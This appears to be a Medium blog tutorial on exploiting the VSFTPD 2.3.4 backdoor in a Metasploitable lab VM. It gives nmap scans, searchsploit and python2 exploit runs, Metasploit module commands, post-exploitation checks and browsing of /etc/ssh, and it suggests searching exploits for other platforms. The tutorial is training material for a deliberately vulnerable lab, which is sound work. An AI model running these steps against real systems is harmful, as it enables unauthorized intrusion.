Exploiting VSFTPD 2.3.4 To using searhcsploit and metasploit

today, i will show you how to use searcshploit and metasploit in metasploittable.

what is the metasploitable ?

Metasploitable is a purposely vulnerable Linux virtual machine (VM) that is designed for penetration testing and security training purposes. It is often used by security professionals, researchers, and students to practice and develop their skills in exploiting vulnerabilities, conducting penetration tests, and understanding various security concepts.

Metasploitable is built with intentionally insecure configurations and contains a wide range of known vulnerabilities in common software packages and services, such as web servers, databases, and network services. This allows users to simulate real-world attack scenarios in a controlled environment without causing harm to actual systems or networks.

The primary purpose of Metasploitable is to serve as a target for security testing tools like the Metasploit Framework, which is a widely used penetration testing toolset. By exploiting the vulnerabilities present in Metasploitable, users can gain hands-on experience in identifying, exploiting, and mitigating security weaknesses, thereby improving their understanding of cybersecurity principles and practices.

It’s important to note that Metasploitable should only be used in environments where proper authorization has been obtained, as using it without permission against systems or networks that you do not own or have explicit permission to test could be illegal and unethical.

execution:

┌──(root㉿black)-[~]
└─# sudo apt update 

┌──(root㉿black)-[~]
└─# sudo apt upgrade

┌──(root㉿black)-[/home/black]
└─# sudo nmap -sC -sV -p- 192.168.20.40

Using searchsploit :

┌──(root㉿black)-[~]
└─# searchsploit vsftpd

┌──(root㉿black)-[~]
└─# searchsploit -m 49757

┌──(root㉿black)-[~]
└─# python2 49757.py 192.168.20.40

whoami
ip a

whoami

ip a

Done!!!

Get Tajimas’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Using metasploit:

┌──(root㉿black)-[~]
└─# msfconsole

msf6 > search vsftpd

msf6 > use 1

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.20.40

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

Note: you can probably look for something else

1. apache

┌──(root㉿black)-[/home/black]
└─# searchsploit apache 

2. windows

┌──(root㉿black)-[/home/black]
└─# searchsploit windows

3. android

┌──(root㉿black)-[/home/black]
└─# searchsploit android

4. php

┌──(root㉿black)-[/home/black]
└─# searchsploit php 

look ssh port :

cd /etc

cd ssh

ls

cat ssh_config